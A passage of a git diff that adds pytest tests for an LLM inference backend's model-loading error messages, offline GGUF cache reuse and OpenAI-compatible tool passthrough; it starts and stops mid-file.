+import pytest
+from fastapi import HTTPException
+
+from models.inference import LoadRequest, ValidateModelRequest
+
+_BACKEND_ROOT = Path(__file__).resolve().parent.parent
+
+
+def _load_route_module():
+    spec = importlib.util.spec_from_file_location(
+        "inference_route_nvfp4_error",
+        _BACKEND_ROOT / "routes/inference.py",
+    )
+    module = importlib.util.module_from_spec(spec)
+    spec.loader.exec_module(module)
+    return module
+
+
+def _load_failure(
+    message: str,
+    exception_type: type[Exception] = RuntimeError,
+    native: bool = False,
+) -> HTTPException:
+    inference_route = _load_route_module()
+    model_path = "unsloth/Qwen3.6-35B-A3B-NVFP4-Fast"
+    model_label = "Qwen3.6-35B-A3B-NVFP4-Fast" if native else model_path
+    request = LoadRequest(model_path = model_path)
+    backend = MagicMock(active_model_name = None)
+    with (
+        patch.object(
+            inference_route,
+            "_resolve_model_identifier_for_request",
+            return_value = (model_path, model_label, native),
+        ),
+        patch.object(
+            inference_route,
+            "resolve_effective_chat_template_override",
+            return_value = None,
+        ),
+        patch.object(inference_route, "get_inference_backend", return_value = backend),
+        patch.object(inference_route, "get_llama_cpp_backend", return_value = MagicMock()),
+        patch.object(
+            inference_route.ModelConfig,
+            "from_identifier",
+            side_effect = exception_type(message),
+        ),
+        pytest.raises(HTTPException) as exc,
+    ):
+        asyncio.run(inference_route.load_model(request, MagicMock(), current_subject = "test-user"))
+    return exc.value
+
+
+def _validation_failure(
+    message: str,
+    exception_type: type[Exception] = RuntimeError,
+    native: bool = False,
+) -> HTTPException:
+    inference_route = _load_route_module()
+    model_path = "unsloth/Qwen3.6-35B-A3B-NVFP4-Fast"
+    model_label = "Qwen3.6-35B-A3B-NVFP4-Fast" if native else model_path
+    request = ValidateModelRequest(model_path = model_path)
+    with (
+        patch.object(
+            inference_route,
+            "_resolve_model_identifier_for_request",
+            return_value = (model_path, model_label, native),
+        ),
+        patch.object(
+            inference_route.ModelConfig,
+            "from_identifier",
+            side_effect = exception_type(message),
+        ),
+        pytest.raises(HTTPException) as exc,
+    ):
+        asyncio.run(inference_route.validate_model(request, current_subject = "test-user"))
+    return exc.value
+
+
+@pytest.mark.parametrize("exception_type", [Exception, RuntimeError, ValueError])
+@pytest.mark.parametrize("native", [False, True])
+def test_nvfp4_mlx_metadata_error_is_replaced_with_short_message(exception_type, native):
+    error = _load_failure(
+        "Unsloth: 'unsloth/Qwen3.6-35B-A3B-NVFP4-Fast' has per-module MLX "
+        "quantization metadata {'config_groups': {'group_0': {'format': "
+        "'float-quantized'}, 'group_1': {'format': 'nvfp4-pack-quantized'}}}",
+        exception_type = exception_type,
+        native = native,
+    )
+
+    assert error.status_code == 500
+    assert error.detail == (
+        "We are working on supporting NVFP4 inference. For now it is not supported"
+    )
+    assert "quantization metadata" not in error.detail
+
+
+def test_unrelated_load_error_keeps_existing_message():
+    error = _load_failure("Network connection timed out")
+
+    assert error.status_code == 500
+    assert error.detail == "Failed to load model: Network connection timed out"
+
+
+@pytest.mark.parametrize("native", [False, True])
+def test_unrelated_value_error_keeps_existing_message(native):
+    error = _load_failure("Invalid gpu_ids [99]", exception_type = ValueError, native = native)
+
+    assert error.status_code == 400
+    assert error.detail == "Invalid gpu_ids [99]"
+
+
+@pytest.mark.parametrize("exception_type", [Exception, RuntimeError, ValueError])
+@pytest.mark.parametrize("native", [False, True])
+def test_nvfp4_validation_error_is_replaced_with_short_message(exception_type, native):
+    error = _validation_failure(
+        "Unsloth: 'unsloth/Qwen3.6-35B-A3B-NVFP4-Fast' has per-module MLX "
+        "quantization metadata {'config_groups': {'group_0': {'format': "
+        "'float-quantized'}, 'group_1': {'format': 'nvfp4-pack-quantized'}}}",
+        exception_type = exception_type,
+        native = native,
+    )
+
+    assert error.status_code == 400
+    assert error.detail == (
+        "We are working on supporting NVFP4 inference. For now it is not supported"
+    )
+    assert "quantization metadata" not in error.detail
+
+
+@pytest.mark.parametrize(
+    ("native", "expected_detail"),
+    [
+        (False, "Network connection timed out"),
+        (
+            True,
+            "Invalid native model Qwen3.6-35B-A3B-NVFP4-Fast: Network connection timed out",
+        ),
+    ],
+)
+def test_unrelated_validation_error_keeps_existing_message(native, expected_detail):
+    error = _validation_failure("Network connection timed out", native = native)
+
+    assert error.status_code == 400
+    assert error.detail == expected_detail
diff --git a/studio/backend/tests/test_offline_gguf_cache_fallback.py b/studio/backend/tests/test_offline_gguf_cache_fallback.py
index 4499881c4d..0b9a1e704f 100644
--- a/studio/backend/tests/test_offline_gguf_cache_fallback.py
+++ b/studio/backend/tests/test_offline_gguf_cache_fallback.py
@@ -79,9 +79,11 @@ from huggingface_hub import constants as hf_constants
 
 from core.inference.llama_cpp import (
     LlamaCppBackend,
+    _cached_colocated_split_main,
     _gguf_files_for_variant,
     _hf_offline_if_dns_dead,
     _probe_dns_dead,
+    _resolve_repo_id_casing,
 )
 from utils.models.model_config import (
     _detect_gguf_from_hf_cache,
@@ -217,7 +219,7 @@ class TestGgufVariantFileResolution:
             downloaded.append(filename)
             return f"/fake/{repo_id}/{filename}"
 
-        monkeypatch.setenv("HF_HUB_CACHE", str(tmp_path))
+        monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(tmp_path))
         with (
             patch(
                 "huggingface_hub.list_repo_files",
@@ -239,6 +241,192 @@ class TestGgufVariantFileResolution:
         assert downloaded == ["tinyllamas/stories260K.gguf"]
         assert out == "/fake/ggml-org/models/tinyllamas/stories260K.gguf"
 
+    def test_download_reuses_older_snapshot_when_current_ref_snapshot_is_partial(
+        self, monkeypatch, hf_cache
+    ):
+        # Keep coverage for offline reuse; online reuse is tested separately.
+        monkeypatch.setenv("HF_HUB_OFFLINE", "1")
+        backend = LlamaCppBackend()
+        repo = "unsloth/vision-GGUF"
+        old = _build_cache(
+            hf_cache,
+            repo,
+            {"model-UD-Q4_K_XL.gguf": 4},
+            snapshot_sha = "a" * 40,
+        )
+        _build_cache(
+            hf_cache,
+            repo,
+            {"mtp-model.gguf": 1},
+            snapshot_sha = "b" * 40,
+        )
+
+        def fake_get_paths_info(
+            _repo_id,
+            paths,
+            token = None,
+        ):
+            return [_types.SimpleNamespace(path = path, size = 4) for path in paths if path]
+
+        def fail_download(*_args, **_kwargs):
+            raise AssertionError("should reuse the cached GGUF instead of downloading")
+
+        with (
+            patch(
+                "huggingface_hub.list_repo_files",
+                lambda *_a, **_k: ["model-UD-Q4_K_XL.gguf", "mtp-model.gguf"],
+            ),
+            patch("huggingface_hub.get_paths_info", fake_get_paths_info),
+            patch("huggingface_hub.try_to_load_from_cache", lambda *_a, **_k: None),
+            patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fail_download),
+        ):
+            out = backend._download_gguf(
+                hf_repo = repo,
+                hf_variant = "UD-Q4_K_XL",
+            )
+
+        assert out == str(old / "model-UD-Q4_K_XL.gguf")
+
+    def test_download_reuses_cached_gguf_when_lowercase_partial_cache_shadows_it(
+        self, monkeypatch, hf_cache
+    ):
+        # Keep coverage for case-insensitive offline cache lookup.
+        monkeypatch.setenv("HF_HUB_OFFLINE", "1")
+        backend = LlamaCppBackend()
+        canonical_repo = "unsloth/gemma-4-E2B-it-GGUF"
+        requested_repo = "unsloth/gemma-4-e2b-it-gguf"
+        gguf_file = "gemma-4-E2B-it-UD-Q4_K_XL.gguf"
+        snap = _build_cache(
+            hf_cache,
+            canonical_repo,
+            {gguf_file: 4},
+            snapshot_sha = "a" * 40,
+        )
+        lower_snap = _build_cache(
+            hf_cache,
+            requested_repo,
+            {"mtp-gemma-4-E2B-it.gguf": 1},
+            snapshot_sha = "b" * 40,
+        )
+        os.utime(lower_snap, (2000, 2000))
+        os.utime(snap, (1000, 1000))
+        seen_repos: list[str] = []
+
+        def fake_list_repo_files(repo_id, token = None):
+            seen_repos.append(repo_id)
+            return [gguf_file]
+
+        def fake_get_paths_info(
+            repo_id,
+            paths,
+            token = None,
+        ):
+            seen_repos.append(repo_id)
+            return [_types.SimpleNamespace(path = path, size = 4) for path in paths if path]
+
+        def fake_cache(repo_id, filename, *args, **kwargs):
+            seen_repos.append(repo_id)
+            return str(snap / filename) if repo_id == canonical_repo else None
+
+        def fail_download(*_args, **_kwargs):
+            raise AssertionError("should reuse the cached GGUF instead of downloading")
+
+        with (
+            patch("huggingface_hub.list_repo_files", fake_list_repo_files),
+            patch("huggingface_hub.get_paths_info", fake_get_paths_info),
+            patch("huggingface_hub.try_to_load_from_cache", fake_cache),
+            patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fail_download),
+        ):
+            out = backend._download_gguf(
+                hf_repo = requested_repo,
+                hf_variant = "UD-Q4_K_XL",
+            )
+
+        assert out == str(snap / gguf_file)
+        assert seen_repos
+
+    def test_download_online_reuses_complete_cached_snapshot(self, monkeypatch, hf_cache):
+        # Loads reuse complete cached models across repo revisions.
+        monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+        backend = LlamaCppBackend()
+        repo = "unsloth/vision-GGUF"
+        snap = _build_cache(hf_cache, repo, {"model-UD-Q4_K_XL.gguf": 4}, snapshot_sha = "a" * 40)
+
+        def fail_download(*_args, **_kwargs):
+            raise AssertionError("must reuse the cached GGUF instead of downloading")
+
+        with (
+            patch(
+                "huggingface_hub.list_repo_files",
+                lambda *_a, **_k: ["model-UD-Q4_K_XL.gguf"],
+            ),
+            patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fail_download),
+        ):
+            out = backend._download_gguf(hf_repo = repo, hf_variant = "UD-Q4_K_XL")
+
+        assert out == str(snap / "model-UD-Q4_K_XL.gguf")
+
+    def test_download_reuses_older_snapshot_when_offline_env_is_true(self, monkeypatch, hf_cache):
+        # HF_HUB_OFFLINE accepts truthy spellings beyond "1" (true/yes/on); the offline
+        # cache reuse must trigger for those too, otherwise the earlier Hub calls run
+        # offline while this branch still attempts hf_hub_download and the cached GGUF
+        # cannot load.
+        monkeypatch.setenv("HF_HUB_OFFLINE", "true")
+        backend = LlamaCppBackend()
+        repo = "unsloth/vision-GGUF"
+        old = _build_cache(hf_cache, repo, {"model-UD-Q4_K_XL.gguf": 4}, snapshot_sha = "a" * 40)
+
+        def fake_get_paths_info(
+            _repo_id,
+            paths,
+            token = None,
+        ):
+            return [_types.SimpleNamespace(path = p, size = 4) for p in paths if p]
+
+        def fail_download(*_args, **_kwargs):
+            raise AssertionError("should reuse the cached GGUF instead of downloading")
+
+        with (
+            patch("huggingface_hub.list_repo_files", lambda *_a, **_k: ["model-UD-Q4_K_XL.gguf"]),
+            patch("huggingface_hub.get_paths_info", fake_get_paths_info),
+            patch("huggingface_hub.try_to_load_from_cache", lambda *_a, **_k: None),
+            patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fail_download),
+        ):
+            out = backend._download_gguf(hf_repo = repo, hf_variant = "UD-Q4_K_XL")
+
+        assert out == str(old / "model-UD-Q4_K_XL.gguf")
+
+    def test_download_companion_resolves_from_case_variant_snapshot_offline(
+        self, monkeypatch, hf_cache
+    ):
+        # Offline, resolve_cached_repo_id_case can keep a partial lower-case spelling,
+        # so the companion (mmproj) must resolve from whichever case-variant snapshot
+        # actually holds it rather than being dropped by an hf_hub_download on the
+        # wrong casing.
+        monkeypatch.setenv("HF_HUB_OFFLINE", "1")
+        backend = LlamaCppBackend()
+        canonical_repo = "unsloth/gemma-4-E2B-it-GGUF"
+        requested_repo = "unsloth/gemma-4-e2b-it-gguf"
+        snap = _build_cache(hf_cache, canonical_repo, {"mmproj-F16.gguf": 4}, snapshot_sha = "a" * 40)
+        # A partial lower-case dir exists so casing resolution keeps the requested spelling.
+        _build_cache(hf_cache, requested_repo, {"config.json": 1}, snapshot_sha = "b" * 40)
+
+        _offline_exc = type("OfflineModeIsEnabled", (Exception,), {})
+
+        def fake_list_repo_files(repo_id, token = None):
+            raise _offline_exc("offline")
+
+        def fail_download(*_args, **_kwargs):
+            raise AssertionError("should resolve the companion from cache, not download")
+
+        with (
+            patch("huggingface_hub.list_repo_files", fake_list_repo_files),
+            patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fail_download),
+        ):
+            out = backend._download_mmproj(hf_repo = requested_repo)
+
+        assert out == str(snap / "mmproj-F16.gguf")
+
     def test_download_includes_uppercase_split_gguf_shards(self, monkeypatch, tmp_path):
         backend = LlamaCppBackend()
         downloaded: list[str] = []
@@ -264,7 +452,7 @@ class TestGgufVariantFileResolution:
             downloaded.append(filename)
             return f"/fake/{repo_id}/{filename}"
 
-        monkeypatch.setenv("HF_HUB_CACHE", str(tmp_path))
+        monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(tmp_path))
         with (
             patch("huggingface_hub.list_repo_files", lambda *_a, **_k: files),
             patch("huggingface_hub.get_paths_info", fake_get_paths_info),
@@ -279,6 +467,48 @@ class TestGgufVariantFileResolution:
         assert downloaded == files
         assert out == "/fake/org/repo/model-Q4_K_M-00001-of-00002.GGUF"
 
+    def test_download_refetches_split_gguf_when_shards_span_snapshots(self, monkeypatch, hf_cache):
+        # The cached main shard lives in an older snapshot; its sibling shard is only
+        # in a newer, separate snapshot. Reusing the main shard alone would leave
+        # llama.cpp unable to resolve the sibling, so the whole set must be re-fetched
+        # together (co-located) rather than served split across snapshot dirs.
+        backend = LlamaCppBackend()
+        repo = "org/split"
+        files = [
+            "model-Q4_K_M-00001-of-00002.gguf",
+            "model-Q4_K_M-00002-of-00002.gguf",
+        ]
+        _build_cache(hf_cache, repo, {files[0]: 4}, snapshot_sha = "a" * 40)
+        _build_cache(hf_cache, repo, {files[1]: 4}, snapshot_sha = "b" * 40)
+        downloaded: list[str] = []
+
+        def fake_get_paths_info(
+            _repo_id,
+            paths,
+            token = None,
+        ):
+            return [_types.SimpleNamespace(path = p, size = 4) for p in paths if p]
+
+        def fake_download(
+            repo_id,
+            filename,
+            token = None,
+            **_kwargs,
+        ):
+            downloaded.append(filename)
+            return f"/fake/{repo_id}/{filename}"
+
+        with (
+            patch("huggingface_hub.list_repo_files", lambda *_a, **_k: files),
+            patch("huggingface_hub.get_paths_info", fake_get_paths_info),
+            patch("huggingface_hub.try_to_load_from_cache", lambda *_a, **_k: None),
+            patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fake_download),
+        ):
+            out = backend._download_gguf(hf_repo = repo, hf_variant = "Q4_K_M")
+
+        assert downloaded == files
+        assert out == f"/fake/{repo}/{files[0]}"
+
 
 def _siblings(items: dict[str, int]):
     """Mock ``hf_model_info(...).siblings`` payload."""
@@ -315,6 +545,21 @@ class TestIterHfCacheSnapshots:
         out = list(_iter_hf_cache_snapshots("unsloth/multi"))
         assert [p.name for p in out] == ["b" * 40, "a" * 40]
 
+    def test_skips_snapshot_when_mtime_is_unavailable(self, hf_cache, monkeypatch):
+        stale = _build_cache(hf_cache, "unsloth/multi", {"x.gguf": 1}, snapshot_sha = "a" * 40)
+        good = _build_cache(hf_cache, "unsloth/multi", {"y.gguf": 1}, snapshot_sha = "b" * 40)
+        original_stat = Path.stat
+
+        def flaky_stat(self, *args, **kwargs):
+            if self == stale:
+                raise FileNotFoundError(str(self))
+            return original_stat(self, *args, **kwargs)
+
+        monkeypatch.setattr(Path, "stat", flaky_stat)
+
+        out = list(_iter_hf_cache_snapshots("unsloth/multi"))
+        assert out == [good]
+
     def test_repo_id_match_is_case_insensitive(self, hf_cache):
         _build_cache(hf_cache, "unsloth/Foo-GGUF", {"Foo-Q4_K_M.gguf": 1})
         # Lookup with different org/name casing still resolves
@@ -347,6 +592,87 @@ class TestListGgufVariantsFromCache:
         assert _list_gguf_variants_from_hf_cache("unsloth/absent") is None
 
 
+class TestCachedColocatedSplitMain:
+    def test_prefers_older_complete_snapshot_over_newer_partial(self, hf_cache):
+        # Newer snapshot has only shard 1; older snapshot has the complete set. The
+        # complete older snapshot must win so the split GGUF can load co-located.
+        shard1 = "m-00001-of-00002.gguf"
+        shard2 = "m-00002-of-00002.gguf"
+        old = _build_cache(
+            hf_cache, "unsloth/split-GGUF", {shard1: 100, shard2: 100}, snapshot_sha = "a" * 40
+        )
+        new = _build_cache(hf_cache, "unsloth/split-GGUF", {shard1: 100}, snapshot_sha = "b" * 40)
+        os.utime(old, (1000, 1000))
+        os.utime(new, (2000, 2000))
+
+        main = _cached_colocated_split_main("unsloth/split-GGUF", shard1, [shard2], {})
+        assert main is not None
+        assert main.startswith(str(old))
+
+    def test_returns_none_when_shards_span_snapshots(self, hf_cache):
+        shard1 = "m-00001-of-00002.gguf"
+        shard2 = "m-00002-of-00002.gguf"
+        a = _build_cache(hf_cache, "unsloth/split-GGUF", {shard1: 100}, snapshot_sha = "a" * 40)
+        b = _build_cache(hf_cache, "unsloth/split-GGUF", {shard2: 100}, snapshot_sha = "b" * 40)
+        os.utime(a, (1000, 1000))
+        os.utime(b, (2000, 2000))
+
+        assert _cached_colocated_split_main("unsloth/split-GGUF", shard1, [shard2], {}) is None
+
+
+class TestResolveRepoIdCasing:
+    def test_maps_to_canonical_casing(self, monkeypatch):
+        monkeypatch.setattr(
+            "utils.paths.resolve_cached_repo_id_case",
+            lambda repo: "unsloth/Gemma-4-GGUF" if repo.lower() == "unsloth/gemma-4-gguf" else repo,
+        )
+        # A companion download passed the resolved id reads the same cache entry
+        # as the main GGUF instead of missing it under the requested casing.
+        assert _resolve_repo_id_casing("unsloth/gemma-4-gguf") == "unsloth/Gemma-4-GGUF"
+
+    def test_passthrough_on_resolver_error(self, monkeypatch):
+        def boom(_repo):
+            raise RuntimeError("resolver unavailable")
+
+        monkeypatch.setattr("utils.paths.resolve_cached_repo_id_case", boom)
+        assert _resolve_repo_id_casing("unsloth/gemma-4-gguf") == "unsloth/gemma-4-gguf"
+
+    def test_companion_only_newer_snapshot_does_not_shadow_real_variants(self, hf_cache):
+        # A newer snapshot holds only a vision projector fetched on demand,
+        # while the quant files live in an older snapshot. The newer snapshot
+        # must not shadow the real variants; the vision flag carries over.
+        old = _build_cache(
+            hf_cache,
+            "unsloth/vision-GGUF",
+            {"vision-Q4_K_M.gguf": 100},
+            snapshot_sha = "a" * 40,
+        )
+        new = _build_cache(
+            hf_cache,
+            "unsloth/vision-GGUF",
+            {"mmproj-vision-F16.gguf": 10},
+            snapshot_sha = "b" * 40,
+        )
+        os.utime(old, (1000, 1000))
+        os.utime(new, (2000, 2000))
+
+        out = _list_gguf_variants_from_hf_cache("unsloth/vision-GGUF")
+        assert out is not None
+        variants, has_vision = out
+        assert [v.quant for v in variants] == ["Q4_K_M"]
+        assert has_vision is True
+
+    def test_companion_only_cache_returns_empty_variants_with_vision(self, hf_cache):
+        # Only a vision projector is cached anywhere: report the vision flag
+        # with an empty variant list rather than None.
+        _build_cache(hf_cache, "unsloth/vision-GGUF", {"mmproj-vision-F16.gguf": 10})
+        out = _list_gguf_variants_from_hf_cache("unsloth/vision-GGUF")
+        assert out is not None
+        variants, has_vision = out
+        assert variants == []
+        assert has_vision is True
+
+
 class TestListGgufVariantsOffline:
     def test_offline_env_short_circuits_api(self, hf_cache, clean_offline_env, monkeypatch):
         _build_cache(hf_cache, "unsloth/a", {"a-UD-Q4_K_XL.gguf": 1})
diff --git a/studio/backend/tests/test_openai_auto_switch.py b/studio/backend/tests/test_openai_auto_switch.py
index 7d2e2213b3..d02a2a4f7e 100644
--- a/studio/backend/tests/test_openai_auto_switch.py
+++ b/studio/backend/tests/test_openai_auto_switch.py
@@ -3037,3 +3037,60 @@ def test_acquire_swap_gate_is_cancellation_safe():
         inference_route._auto_switch_process_lock.release()
 
     asyncio.run(asyncio.wait_for(main(), timeout = 5))
+
+
+def test_no_model_loaded_detail_appends_hint_only_when_off(monkeypatch):
+    # The "no model loaded" errors point at the opt-in auto-switch toggle so a
+    # request naming a listed-but-unloaded model is self-explanatory -- but only
+    # when it's off. With it on the name simply didn't resolve, so no hint.
+    base = "No GGUF model loaded. Load a GGUF model first."
+
+    monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: False)
+    off = inference_route._no_model_loaded_detail(base)
+    assert off.startswith(base)
+    assert "Model auto-switch" in off and "Settings > API" in off
+
+    monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True)
+    assert inference_route._no_model_loaded_detail(base) == base
+
+
+def _run_responses_stream_no_model(monkeypatch, *, enabled, active_model_name):
+    # Drive _responses_stream's GGUF-not-loaded guard: llama backend unloaded,
+    # inference backend maybe holding a non-GGUF model. Returns the 400 detail.
+    from fastapi import HTTPException
+    from models.inference import ResponsesRequest, ChatMessage
+
+    monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: enabled)
+    monkeypatch.setattr(
+        inference_route, "get_llama_cpp_backend", lambda: _FakeBackend(loaded_id = None)
+    )
+    monkeypatch.setattr(
+        inference_route,
+        "get_inference_backend",
+        lambda: type("_B", (), {"active_model_name": active_model_name})(),
+    )
+    payload = ResponsesRequest(model = "unsloth/Qwen3.5-4B-GGUF", stream = True)
+    messages = [ChatMessage(role = "user", content = "hi")]
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(inference_route._responses_stream(payload, messages, None))
+    assert exc.value.status_code == 400
+    return exc.value.detail
+
+
+def test_responses_stream_hint_matches_toggle_regardless_of_active_model(monkeypatch):
+    # Streaming /v1/responses shares the GGUF-only 400 with the other "no model
+    # loaded" sites, so the auto-switch hint attaches whenever the toggle is
+    # off -- including while a non-GGUF model is active, since auto-switch
+    # evicts it to load a resolved GGUF (_maybe_auto_switch_model's resolver
+    # branch has no active-model guard, unlike its reload-stash branch). Only
+    # the toggle being on suppresses it.
+    hinted = _run_responses_stream_no_model(monkeypatch, enabled = False, active_model_name = None)
+    assert "Model auto-switch" in hinted
+
+    on = _run_responses_stream_no_model(monkeypatch, enabled = True, active_model_name = None)
+    assert "Model auto-switch" not in on
+
+    non_gguf_loaded = _run_responses_stream_no_model(
+        monkeypatch, enabled = False, active_model_name = "unsloth/Llama-3.2-1B-Instruct"
+    )
+    assert "Model auto-switch" in non_gguf_loaded
diff --git a/studio/backend/tests/test_openai_tool_passthrough.py b/studio/backend/tests/test_openai_tool_passthrough.py
index aa36c6fed4..8725b28ac8 100644
--- a/studio/backend/tests/test_openai_tool_passthrough.py
+++ b/studio/backend/tests/test_openai_tool_passthrough.py
@@ -8,6 +8,7 @@ import sys
 import asyncio
 import json
 import threading
+import time
 from types import SimpleNamespace
 
 _backend = os.path.join(os.path.dirname(__file__), "..")
@@ -29,7 +30,17 @@ from core.inference.anthropic_compat import (
     anthropic_tool_choice_to_openai,
 )
 from core.inference.api_monitor import ApiMonitor
+from core.inference.llama_admission import (
+    ADMISSION_KEEPALIVE_INTERVAL_ENV,
+    ADMISSION_MAX_QUEUE_ENV,
+    ADMISSION_QUEUE_TIMEOUT_ENV,
+    LlamaAdmissionCancelled,
+    LlamaAdmissionConfig,
+    get_llama_admission_queue,
+    reset_llama_admission_queues,
+)
 from routes.inference import (
+    _aclose_stream_resources,
     _build_chat_request,
     _build_openai_passthrough_body,
     _build_passthrough_payload,
@@ -38,23 +49,95 @@ from routes.inference import (
     _coalesce_consecutive_user_turns,
     _drop_empty_assistant_sentinels,
     _effective_max_tokens,
+    _effective_openai_max_tokens,
+    _effective_openai_max_tokens_from_values,
     _extract_content_parts,
     _friendly_error,
+    _friendly_upstream_error,
     _merge_user_content,
     _monitor_openai_chunk,
     _monitor_openai_sse_event,
+    _normalize_openai_passthrough_sse_line,
+    _openai_compat_stream_stall_timeout,
+    _openai_llama_admission_capacity,
     _openai_messages_for_gguf_chat,
+    _openai_passthrough_sse_line_terminal_state,
+    _openai_passthrough_upstream_headers,
     _openai_passthrough_non_streaming,
     _openai_passthrough_stream,
+    _responses_stream,
+    _openai_stream_error_sse,
     _openai_stream_usage_chunk,
+    _openai_admission_wait_stream_chunks,
+    _wait_for_openai_admission_non_streaming,
     _proxy_to_external_provider,
     _SameTaskStreamingResponse,
+    _OPENAI_COMPAT_STREAM_STALL_TIMEOUT_ENV,
     _set_or_prepend_system_message,
     openai_completions,
     openai_embeddings,
     openai_chat_completions,
 )
-from state.tool_policy import reset_tool_policy
+from state.tool_policy import reset_tool_policy, set_tool_policy
+
+
+@pytest.fixture(autouse = True)
+def _reset_admission_queues():
+    reset_llama_admission_queues()
+    yield
+    reset_llama_admission_queues()
+
+
+def test_aclose_stream_resources_attempts_remaining_closes_after_cancel():
+    class Closeable:
+        def __init__(self, *, cancel = False):
+            self.cancel = cancel
+            self.closed = False
+
+        async def aclose(self):
+            self.closed = True
+            if self.cancel:
+                raise asyncio.CancelledError()
+
+    async def _run():
+        iterator = Closeable(cancel = True)
+        resp = Closeable()
+        client = Closeable()
+
+        with pytest.raises(asyncio.CancelledError):
+            await _aclose_stream_resources(iterator = iterator, resp = resp, client = client)
+
+        assert iterator.closed
+        assert resp.closed
+        assert client.closed
+
+    asyncio.run(_run())
+
+
+class TestFriendlyUpstreamError:
+    def test_grammar_parse_failure_gets_actionable_message(self):
+        raw = '{"error":{"code":400,"message":"Failed to initialize samplers: failed to parse grammar","type":"invalid_request_error"}}'
+        msg = _friendly_upstream_error(raw)
+        assert "failed to parse grammar" not in msg  # raw body is not surfaced verbatim
+        assert "tool-calling grammar" in msg and "Update Studio" in msg
+
+    def test_failed_to_initialize_samplers_alone_matches(self):
+        assert "tool-calling grammar" in _friendly_upstream_error("Failed to initialize samplers")
+
+    def test_unrelated_error_passes_through(self):
+        assert _friendly_upstream_error("out of memory") == "llama-server error: out of memory"
+
+    def test_openai_passthrough_error_rewrites_grammar_failure(self):
+        # OpenAI-compatible agents (opencode/openclaw/hermes/pi via /v1/chat/completions)
+        # get the same actionable message as the Anthropic passthrough, not the raw body.
+        from routes.inference import _openai_passthrough_error
+
+        exc = _openai_passthrough_error(
+            400, '{"error":{"message":"Failed to initialize samplers: failed to parse grammar"}}'
+        )
+        assert "tool-calling grammar" in exc.detail
+        # An unrelated upstream error still passes through verbatim.
+        assert "llama-server error:" in _openai_passthrough_error(500, "disk full").detail
 
 
 # =====================================================================
@@ -521,6 +604,417 @@ class TestChatCompletionRequestToolFields:
         assert "n > 1 is not supported" in entry["error"]
         assert monitor.active_count() == 0
 
+    def test_client_tools_rejected_when_gguf_template_has_no_tool_support(self, monkeypatch):
+        import routes.inference as inference_route
+
+        class _GGUFBackend:
+            is_loaded = True
+            model_identifier = "test-gguf"
+            supports_tools = False
+            is_vision = False
+            _is_audio = False
+            context_length = 4096
+
+            def generate_chat_completion(self, **_kwargs):
+                raise AssertionError("client tools must not fall through to the standard GGUF path")
+
+        monitor = ApiMonitor(max_entries = 3)
+        monkeypatch.setattr(inference_route, "api_monitor", monitor)
+        client = self._v1_client(monkeypatch, _GGUFBackend())
+        resp = client.post(
+            "/v1/chat/completions",
+            json = {
+                "messages": [{"role": "user", "content": "hi"}],
+                "tools": [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object"},
+                        },
+                    }
+                ],
+            },
+        )
+
+        self._assert_unsupported_param(resp, "tools")
+        assert "does not advertise tools" in resp.json()["error"]["message"]
+        [entry] = monitor.snapshot()
+        assert entry["status"] == "error"
+        assert "does not advertise tools" in entry["error"]
+        assert monitor.active_count() == 0
+
+    def test_client_tools_use_passthrough_capability_when_tool_loop_is_disabled(self, monkeypatch):
+        import routes.inference as inference_route
+
+        captured = {}
+
+        class _GGUFBackend:
+            is_loaded = True
+            model_identifier = "test-gguf"
+            supports_tools = False
+            supports_tool_passthrough = True
+            is_vision = False
+            _is_audio = False
+            context_length = 4096
+            base_url = "http://llama.passthrough-capability.test"
+            _request_reasoning_kwargs = lambda *_args, **_kwargs: None
+
+            def generate_chat_completion(self, **_kwargs):
+                raise AssertionError("client tools must use passthrough")
+
+            def generate_chat_completion_with_tools(self, **_kwargs):
+                raise AssertionError("Studio tool loop must stay disabled")
+
+        async def fake_passthrough(llama_backend, payload, model_name, **kwargs):
+            captured["body"] = inference_route._build_openai_passthrough_body(
+                payload,
+                backend_ctx = llama_backend.context_length,
+                llama_backend = llama_backend,
+            )
+            inference_route.api_monitor.finish(kwargs.get("monitor_id"))
+            return inference_route.JSONResponse({"ok": True, "model": model_name})
+
+        monitor = ApiMonitor(max_entries = 3)
+        monkeypatch.setattr(inference_route, "api_monitor", monitor)
+        monkeypatch.setattr(
+            inference_route,
+            "_openai_passthrough_non_streaming",
+            fake_passthrough,
+        )
+        client = self._v1_client(monkeypatch, _GGUFBackend())
+        resp = client.post(
+            "/v1/chat/completions",
+            json = {
+                "messages": [{"role": "user", "content": "use client tool"}],
+                "tools": [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object"},
+                        },
+                    }
+                ],
+            },
+        )
+
+        assert resp.status_code == 200
+        assert resp.json()["ok"] is True
+        assert captured["body"]["tools"][0]["function"]["name"] == "lookup"
+        [entry] = monitor.snapshot()
+        assert entry["status"] == "completed"
+        assert monitor.active_count() == 0
+
+    def test_permission_mode_does_not_reject_client_tool_passthrough(self, monkeypatch):
+        # A non-streaming client-tool passthrough (client tools, no Studio tool
+        # loop) that also carries permission_mode "ask"/"auto" must reach the
+        # provider passthrough, not the confirm-without-stream guard: the
+        # validator leaves confirm_tool_calls unset for passthrough, and a bare
+        # permission_mode only gates Studio's own local tool loop. An explicit
+        # confirm_tool_calls=True still forces the local-confirm rejection.
+        # The pre-switch guard only runs when an automatic load may run, so force
+        # that predicate on to exercise it against a resident passthrough backend.
+        import routes.inference as inference_route
+
+        class _GGUFBackend:
+            is_loaded = True
+            model_identifier = "test-gguf"
+            supports_tools = False
+            supports_tool_passthrough = True
+            is_vision = False
+            _is_audio = False
+            context_length = 4096
+            base_url = "http://llama.permission-passthrough.test"
+            _request_reasoning_kwargs = lambda *_args, **_kwargs: None
+
+            def generate_chat_completion(self, **_kwargs):
